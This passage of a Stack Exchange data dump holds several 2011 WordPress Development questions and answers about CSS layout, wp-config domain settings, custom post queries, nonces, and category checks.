}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My HTML:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&amp;lt;div class=&quot;box-container&quot;&amp;gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&amp;lt;div class=&quot;small-box&quot;&amp;gt;SOME TEXT&#xA;  &amp;amp; IMAGE&amp;lt;/div&amp;gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&amp;lt;div class=&quot;small-box&quot;&amp;gt;SOME TEXT&#xA;  &amp;amp; IMAGE&amp;lt;/div&amp;gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&amp;lt;div class=&quot;small-box&quot;&amp;gt;SOME TEXT&#xA;  &amp;amp; IMAGE&amp;lt;/div&amp;gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&amp;lt;div class=&quot;small-box&quot;&amp;gt;SOME TEXT&#xA;  &amp;amp; IMAGE&amp;lt;/div&amp;gt;   &amp;lt;/div&amp;gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The box-container div width is specified as 640px, but I notice the padding extends it beyond this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, it is plenty large to accommodate the four small boxes, which total 512px plus their total 40px margin, plus the 20px padding on the box-container div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Problem:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand why the padding pushes the size of the box-container div. When I tried to use max-width: 640px, I observed that the boxes all lined up vertically, and the box-container div was no wider than 170px. EDIT: The padding has since been removed from the box-container div, and margins adjusted on the small-box divs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;REAL PROBLEM IS AS STATED IN THE FIRST 2 PARAGRAPHS: The four small boxes are stepped down from each other, like a staircase. I want them to align horizontally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The small-box divs are actually all the same size, their contents consist of text &amp;amp; image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot of my hand-coded website, behaving as expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/VZ2Nc.png&quot; alt=&quot;screenshot of my hand-coded website, behaving as expected&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Staircase effect I'm seeing in WordPress my WordPress Theme:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/ufw2i.png&quot; alt=&quot;Staircase effect I'm seeing in WordPress my WordPress Theme&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3010" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-02-17T16:17:30.443" LastActivityDate="2011-02-17T16:17:30.443" Title="Why is the CSS horizontal alignment for divs inside div container not displayed in my WP Theme?" Tags="&lt;css&gt;" AnswerCount="2" CommentCount="6" />
  <row Id="8976" PostTypeId="2" ParentId="8960" CreationDate="2011-02-09T15:08:51.767" Score="2" ViewCount="" Body="&lt;p&gt;I use these two defines in my wp-config.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_HOME', 'http://dev.mysite.com');&#xA;define('WP_SITEURL', 'http://dev.mysite.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Mind the trailing slash (or rather, the lack thereof), else you'll get permalink bugs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that they'll actually get used as is if you insert images and so forth when adding content.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-02-09T15:08:51.767" />
  <row Id="8977" PostTypeId="2" ParentId="8975" CreationDate="2011-02-09T15:14:39.107" Score="4" ViewCount="" Body="&lt;p&gt;Never add a padding on something whose width/height you fix. Some browsers add the padding to the width/height; others don't. Use an inner div to work around the issue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div style=&quot;width:200px; height: 200px; background: red; padding: 10px;&quot;&amp;gt;&#xA;220x220&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div style=&quot;width:200px; height: 200px; background: green;&quot;&amp;gt;&#xA;&amp;lt;div style=&quot;padding: 10px;&quot;&amp;gt;&#xA;200x200&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-02-09T15:14:39.107" CommentCount="3" />
  <row Id="8978" PostTypeId="2" ParentId="8769" CreationDate="2011-02-09T15:43:27.593" Score="0" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Q: what's the URL for 'foo' blogs from February 2011?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The URL in the context of your site is: &lt;code&gt;/blogs/category/foo/?y=2011&amp;amp;monthnum=02&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I blatantly copied this over from a commment t31os, so credits to him for this)&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-09T15:43:27.593" CommentCount="2" />
  <row Id="8979" PostTypeId="2" ParentId="8900" CreationDate="2011-02-09T16:04:47.353" Score="0" ViewCount="" Body="&lt;p&gt;Executing the code you posted results in a crash inside the PHP module. I assume you're running PHP as module inside apache on windows, if the module crashes, apache crashes as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ensure that you're using the right PHP modules here. Are you sure you need the Thread-Safe variant of PHP for apache? Those are reported to not run stable under windows IIRC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this might not be related to the wordpress version but to the server configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this answer helps a bit tackling things down.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-09T16:04:47.353" CommentCount="2" />
  <row Id="8980" PostTypeId="2" ParentId="8960" CreationDate="2011-02-09T16:10:02.353" Score="1" ViewCount="" Body="&lt;p&gt;This is not the direct answer to your need, but if you were going to switch subdomains, you should have created the links, images, etc. without the domain in them. You should have added a filter to remove the domain. Then you would have root absolute links beginning with '/' not 'http://www.domain.com/'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a start on &lt;a href=&quot;http://www.456bereastreet.com/archive/201010/how_to_make_wordpress_urls_root_relative/&quot; rel=&quot;nofollow&quot;&gt;how to make permalink root relative&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you will need to also run this function when you save your content (via a hook) in the administration, so you can strip the absolute links and make them root relative.&lt;/p&gt;&#xA;" OwnerUserId="3034" LastActivityDate="2011-02-09T16:10:02.353" />
  <row Id="8981" PostTypeId="2" ParentId="8960" CreationDate="2011-02-09T16:23:09.497" Score="1" ViewCount="" Body="&lt;p&gt;Indeed this is not as I would expect. I am used to doing this statically. With that technique, aside from changing the DEFINEs in wp-config.php you'll have to search/replace the entries in the database. To do this, just take a MySQL dump and run the following script with something like &lt;code&gt;script.sh dump.sql &amp;gt; new_dump.sql&lt;/code&gt;. Load newdump.sql into the DB and you should be good to go.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/sed -f&#xA;s/'\([^\\']*\)old.domain.com\([^\\']*\)'/'\1new.domain.com\2'/g&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could try using the above regex in a &lt;code&gt;preg_replace()&lt;/code&gt; to do this on the fly, but you might run into issues.&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-02-09T16:23:09.497" CommentCount="1" />
  <row Id="8982" PostTypeId="1" AcceptedAnswerId="8984" CreationDate="2011-02-09T16:40:43.177" Score="-1" ViewCount="163" Body="&lt;p&gt;I'm using this script on my archive.php in order to list a link list of all posts contained in the current category. However, its limiting the result count relative to the number assigned to &quot;Settings &gt; Reading &gt; Blog Pages Show At Most &lt;em&gt;_&lt;/em&gt; posts&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, there may be 10 posts that are in this category, but its only displaying up to the number assigned in that setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change my script to ignore this setting?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(is_category()) while (have_posts()) : the_post(); ?&amp;gt;&#xA;    &amp;lt;li id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title_attribute(); ?&amp;gt;&quot;&amp;gt;&#xA;        &amp;lt;?php the_title(); ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt; &#xA;        &amp;lt;?php echo get_link_excerpt(); ?&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile; } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-02-09T17:26:36.547" Title="How to defeat &quot;Blog pages show at most __ posts&quot; setting in the loop?" Tags="&lt;theme-development&gt;&lt;the-loop&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="8983" PostTypeId="2" ParentId="7782" CreationDate="2011-02-09T17:03:00.873" Score="1" ViewCount="" Body="&lt;p&gt;Use null as $ver param:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_deregister_script( 'jquery' );&#xA;wp_register_script( 'jquery', 'https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js', false, null);&#xA;wp_enqueue_script('jquery');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js'&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3036" LastActivityDate="2011-02-09T17:03:00.873" CommentCount="2" />
  <row Id="8984" PostTypeId="2" ParentId="8982" CreationDate="2011-02-09T17:26:06.727" Score="2" ViewCount="" Body="&lt;p&gt;Instead of using the default loop, perhaps try &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;building&lt;/a&gt; your own &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;query.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, it'll look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$your_posts = get_posts('cat=123&amp;amp;posts_per_page=123');&#xA;foreach ($your_post as $post) {&#xA;   do_something-with($post);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can display all posts by either use the param &lt;code&gt;'posts_per_page'=&amp;gt;-1&lt;/code&gt; or &lt;code&gt;nopaging=true&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Not sure why someone voted this down? IMHO said person should comment on how the question should be improved if she or he is going to do that.)&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-02-09T17:26:06.727" CommentCount="2" />
  <row Id="8985" PostTypeId="2" ParentId="8982" CreationDate="2011-02-09T17:26:36.547" Score="1" ViewCount="" Body="&lt;p&gt;If you want to do something other than the automagical defaults allow for, you need to take control of your Loop. Read the docs on &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;The Loop&lt;/a&gt; and take particular notice of the section labeled Multiple Loops. It shows alternate ways of setting up the query and displaying things. You should also take a look at &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;WP_Query&lt;/a&gt; as that is key to what is going on here.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-02-09T17:26:36.547" />
  <row Id="8986" PostTypeId="2" ParentId="3308" CreationDate="2011-02-09T17:31:00.550" Score="1" ViewCount="" Body="&lt;p&gt;You're wanting a CSS dropline menu, from what I gather.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Basic example code:&#xA;&lt;a href=&quot;http://www.cssplay.co.uk/menus/pro_dropline2-5.html&quot; rel=&quot;nofollow&quot;&gt;http://www.cssplay.co.uk/menus/pro_dropline2-5.html&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tutorial, with jQuery code on making it look super spiffy (via SuperFish):&#xA;&lt;a href=&quot;http://users.tpg.com.au/j_birch/plugins/superfish/#sample4&quot; rel=&quot;nofollow&quot;&gt;http://users.tpg.com.au/j_birch/plugins/superfish/#sample4&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-02-09T17:31:00.550" />
  <row Id="8987" PostTypeId="1" CreationDate="2011-02-09T17:34:42.417" Score="0" ViewCount="171" Body="&lt;p&gt;WP Insert Post is a very simple and easy to use function. Currently I have it set up on event triggered by whether a user is logged in during a booking to ratify their booking in its own page. My concern is that if the user were to refresh or go back and submit again the page they would end up with 2 bookings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am looking to prevent that from happening. One idea that I have is to use a session that is created when the page with the new booking is created. That session then populates the field ID =&gt; in the insert post array. That way overiding the information in the existing post. For this to work it would rely on the default value of ID being a wordpress creation if the session had no value, ie. a booking had not been made yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would that work and if not does anyone know of a way it might.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marvellous&lt;/p&gt;&#xA;" OwnerUserId="2957" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-09T17:39:38.183" LastActivityDate="2011-02-09T18:02:09.737" Title="WP Insert Post If user refreshes override new post" Tags="&lt;plugins&gt;&lt;php&gt;&lt;security&gt;&lt;posts&gt;" AnswerCount="3" />
  <row Id="8988" PostTypeId="2" ParentId="8987" CreationDate="2011-02-09T17:38:33.783" Score="1" ViewCount="" Body="&lt;p&gt;In wordpress you can do that with so called nonces: &lt;a href=&quot;http://codex.wordpress.org/WordPress_Nonces&quot; rel=&quot;nofollow&quot;&gt;WordPress Nonces (Codex)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a nonce to your form and when send, check if the nonce is correct. The next time the form get's submitted, the nonce isn't correct any longer, so if you check for that you can prevent replaying the data into your system again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you find a step-by-step description and sample code: &lt;a href=&quot;http://www.prelovac.com/vladimir/improving-security-in-wordpress-plugins-using-nonces&quot; rel=&quot;nofollow&quot;&gt;Improving security in WordPress plugins using Nonces&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-09T17:38:33.783" />
  <row Id="8989" PostTypeId="2" ParentId="8987" CreationDate="2011-02-09T17:40:33.507" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure I fully understand your question. One common way of preventing accidental re-submission is to have the code that handles the POST do a redirect to a 'normal' URL on successful completion. If the user hits reload then all they get is a reload of a normal page.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2011-02-09T17:40:33.507" CommentCount="1" />
  <row Id="8990" PostTypeId="1" CreationDate="2011-02-09T17:40:55.527" Score="0" ViewCount="224" Body="&lt;p&gt;In my homepage loop, I have something that will show which category the post is in. It will say something like &quot;Posted 4 hours ago in Sports by ...&quot;. However, when there is no category set, it will omit the category (obviously) and just say &quot;Posted 4 hours ago in by ...&quot;. My question is: how do I check if a post belongs to &lt;em&gt;any&lt;/em&gt; category in WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the function &lt;code&gt;in_category()&lt;/code&gt; exists, but I would like to avoid having to type out all of the categories, in case they change, or whatever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2347" LastActivityDate="2011-02-09T18:55:30.300" Title="Check if post belongs to any category" Tags="&lt;categories&gt;&lt;loop&gt;&lt;the-loop&gt;" AnswerCount="2" />
  <row Id="8991" PostTypeId="2" ParentId="8962" CreationDate="2011-02-09T17:42:07.110" Score="1" ViewCount="" Body="&lt;p&gt;The short answer is: kinda?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To sync wall activities:&#xA;&lt;a href=&quot;http://buddystream.net/&quot; rel=&quot;nofollow&quot;&gt;http://buddystream.net/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use Facebook Connect for logging in:&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/bp-fbconnect/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/bp-fbconnect/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-02-09T17:42:07.110" CommentCount="1" />
  <row Id="8992" PostTypeId="2" ParentId="8919" CreationDate="2011-02-09T17:47:40.623" Score="1" ViewCount="" Body="&lt;p&gt;If it was me, I would worry more about the ability to get content &lt;em&gt;out&lt;/em&gt; of InDesign, and not getting content &lt;em&gt;into&lt;/em&gt; WordPress. Assuming you script data from an InDesign file into a middleware connector (PHP or anything else really), I think &lt;a href=&quot;http://codex.wordpress.org/XML-RPC_Support&quot; rel=&quot;nofollow&quot;&gt;XML-RPC&lt;/a&gt; would definitely be the way to go to get that content into WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from that API being fully flushed out for all your WordPress publishing needs, using XML-RPC would have the added bonus of perhaps supporting other publishing platforms without needing to rewrite any code. &lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-02-09T17:47:40.623" />
  <row Id="8993" PostTypeId="2" ParentId="8990" CreationDate="2011-02-09T17:54:02.117" Score="0" ViewCount="" Body="&lt;p&gt;Instead of using &lt;code&gt;get_category()&lt;/code&gt; or whatever to echo it out directly, try using &lt;code&gt;get_the_category()&lt;/code&gt;, which will simply return an array of the categories. You can then spin through those items and check if they are empty() or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = get_the_category( $post-&amp;gt;ID );&#xA;if( is_array(categories) &amp;amp;&amp;amp; count($categories) &amp;gt; 0 ) {&#xA;  foreach( $categories as $category ) {&#xA;    $categories_string .= $category . &quot;, &quot;;&#xA;  }&#xA;  $categories_string = rtrim(&quot;, &quot;, $categories_string);&#xA;}&#xA;&#xA;if( !empty( $categories_string ) ) {&#xA;  echo &quot;Posted 4 hours ago in {$categories_string} by ...&quot;;&#xA;} else {&#xA;  echo &quot;Posted 4 hours ago by ...&quot;;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*untested&lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-02-09T17:54:02.117" />
  <row Id="8994" PostTypeId="2" ParentId="8987" CreationDate="2011-02-09T18:02:09.737" Score="0" ViewCount="" Body="&lt;p&gt;If anyone is interested I worked it out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step 1::  On the receiving page of the booking (the last page)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  &#xA;$thispostID = $post-&amp;gt;ID; ?&amp;gt;&#xA;&amp;lt;?php  session_start();&#xA;$_SESSION['booking-id'] = $thispostID; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This stores the ID of the page that has been created by the wp insert post. If the page was taking a long time to load or the client got bored /  thought there was a problem and pressed the back button the fact that this bit of code was at the top of the page means that the new post ID has been taken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the intermediary page that created the new booking and had the wp insert post function add this to the array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'ID' =&amp;gt; $_SESSION['booking-id'],&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then to make sure that a Sessioned ID does not effect a future booking, on the initial booking page add the following.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$_SESSION['booking-id'] = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way with no value for the intermediary page wordpress will default and create a new id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has such an obscure problem in the future this is how I fixed it.&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-02-09T18:02:09.737" CommentCount="1" />
  <row Id="8995" PostTypeId="1" CreationDate="2011-02-09T18:17:22.690" Score="1" ViewCount="228" Body="&lt;p&gt;In regards to the 'Post via Email' feature, does anyone know of a way to send an attachment with it?  In this case it would be a PDF document.&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-09T23:24:17.230" LastActivityDate="2011-02-09T23:24:17.230" Title="Post Via Email - How to send Attachments with it (e.g. PDF File or JPEG Image)?" Tags="&lt;attachments&gt;&lt;email&gt;" AnswerCount="2" />
  <row Id="8996" PostTypeId="1" AcceptedAnswerId="9008" CreationDate="2011-02-09T18:18:17.633" Score="0" ViewCount="179" Body="&lt;p&gt;I have a mult-author site where the author page gets high traffic.  People want to know more about them.  I have modified the author page to show more info, some custom fields, etc. but what I'd really like to do is turn on Comments for the author.php page (so that OTHER logged in users can leave review-like messages for the Author), and ultimately offer a star-ratings type of effect so that Users can &quot;rate&quot; the author.  I have searched for plugins and other functions but it seems like everything is for Posts or Products or something.  Any insight is greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2011-02-09T19:20:37.040" Title="Author page: Comments and Ratings?" Tags="&lt;author&gt;&lt;rating&gt;&lt;review&gt;" AnswerCount="3" />
  <row Id="8997" PostTypeId="1" AcceptedAnswerId="9005" CreationDate="2011-02-09T18:21:08.880" Score="0" ViewCount="159" Body="&lt;p&gt;I'm trying to pull just the tag names as an array collection in order to write them out as a simple listing, without links, but the array that's returned does not send the name as an indexible item.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(2) {&#xA;  [0]=&amp;gt; string(129) &quot;&amp;lt;a href='#' class='tag-link-31' title='1 topic' style='font-size: 8pt;'&amp;gt;tag 1&amp;lt;/a&amp;gt;&quot;&#xA;  [1]=&amp;gt; string(127) &quot;&amp;lt;a href='#' class='tag-link-30' title='1 topic' style='font-size: 8pt;'&amp;gt;tag 2&amp;lt;/a&amp;gt;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there another method I can use to get the entire site's tag collection with just the tag names? This is my current code, but because of the array indexes, I get the links as well.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tagNames = wp_tag_cloud('format=array');&#xA;echo implode($tagNames,&quot;, &quot;);   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-02-09T19:07:30.173" Title="Using wp_tag_cloud('format=array') to print tag names without links?" Tags="&lt;theme-development&gt;&lt;tags&gt;" AnswerCount="1" />
  <row Id="8998" PostTypeId="1" CreationDate="2011-02-09T18:24:49.857" Score="6" ViewCount="480" Body="&lt;p&gt;I am using a plugin modified for my purposes. What I am after is after the user has registered for it to automatically log them in and return the to the current page. At the moment it sends them an email with their username and password. They then have to log in using those details. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Robin&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-09-02T10:15:41.900" Title="User registration then auto login" Tags="&lt;php&gt;&lt;login&gt;&lt;registered&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="4" />
  <row Id="8999" PostTypeId="1" AcceptedAnswerId="9001" CreationDate="2011-02-09T18:41:53.290" Score="0" ViewCount="77" Body="&lt;p&gt;Are there any Wordpress themes that will just return a JSON object that can be processed by Javascript to display a list of postings?&lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2011-02-09T18:45:15.753" Title="Wordpress Theme that returns all posts as a JSON object?" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="9000" PostTypeId="1" AcceptedAnswerId="9009" CreationDate="2011-02-09T18:44:32.377" Score="0" ViewCount="126" Body="&lt;p&gt;Is there a way to add numbering to the latest posts/category listing pages? By default you can put older/newer, but is there a way to add numbering like page 1,2,3,4 of the list so people can skip ahead?&lt;/p&gt;&#xA;" OwnerUserId="2457" LastActivityDate="2011-02-09T19:25:57.597" Title="How to put page numbers with the next/previous on a post/category list?" Tags="&lt;categories&gt;&lt;posts&gt;&lt;feed&gt;&lt;pages&gt;" AnswerCount="1" />
  <row Id="9001" PostTypeId="2" ParentId="8999" CreationDate="2011-02-09T18:45:15.753" Score="2" ViewCount="" Body="&lt;p&gt;Sounds like what &lt;a href=&quot;http://wordpress.org/extend/plugins/json-api/&quot; rel=&quot;nofollow&quot;&gt;JSON API&lt;/a&gt; plugin does.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-09T18:45:15.753" />
  <row Id="9002" PostTypeId="2" ParentId="8996" CreationDate="2011-02-09T18:49:13.537" Score="0" ViewCount="" Body="&lt;p&gt;Yep, mechanics of comments in WP are tightly tied to posts. Which things like archives aren't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your options are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Associate comments with fake hidden posts/pages.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use external comment system that doesn't care about WP mechanics (not something I would recommend, but it works for some people).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create and use Custom Post Type that will emulate comments.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-09T18:49:13.537" />
  <row Id="9003" PostTypeId="1" CreationDate="2011-02-09T18:51:07.280" Score="3" ViewCount="171" Body="&lt;p&gt;I am trying to find out whether or not a post has images. If it does, I then want to know if a featured image was specified for the thumbnail - if not, the get_thumb() function will assign an image from the gallery of that post. However, if a post doesn't have images, I want to use a span class to occupy the thumbnail space. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the statement I wrote:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(has_post_thumbnail()){&#xA;    the_post_thumbnail();&#xA;}&#xA;elseif(is_attachment()) {&#xA;    echo get_thumb($post-&amp;gt;ID); &#xA;}&#xA;else {&#xA;    &amp;lt;span class=&quot;no_thumb&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It adds a 150x150 span to all posts without featured images. However, where images from get_thumb() should be, the span shows up instead. Essentially, it's either the span or the featured image and the $get_thumb never appears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, here's the get_thumb() function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_thumb ($post_ID){&#xA;    $thumbargs = array(&#xA;    'post_type' =&amp;gt; 'attachment',&#xA;    'numberposts' =&amp;gt; 1,&#xA;    'post_status' =&amp;gt; null,&#xA;    'post_parent' =&amp;gt; $post_ID&#xA;    );&#xA;    $thumb = get_posts($thumbargs);&#xA;    if ($thumb) {&#xA;        return wp_get_attachment_image($thumb[0]-&amp;gt;ID);&#xA;    }&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3040" LastEditorUserId="3040" LastEditorDisplayName="" LastEditDate="2011-02-10T03:05:26.670" LastActivityDate="2011-02-10T03:05:26.670" Title="how to test for attached image" Tags="&lt;attachments&gt;&lt;post-thumbnails&gt;&lt;gallery&gt;&lt;conditional-content&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="9004" PostTypeId="2" ParentId="8990" CreationDate="2011-02-09T18:55:30.300" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;is_object_in_term()&lt;/code&gt; ( not documented in Codex, see &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/taxonomy.php#L2614&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; ). Despite name it can also check for taxonomy match if terms are omitted.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;is_object_in_term( get_the_ID(), 'category' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-09T18:55:30.300" />
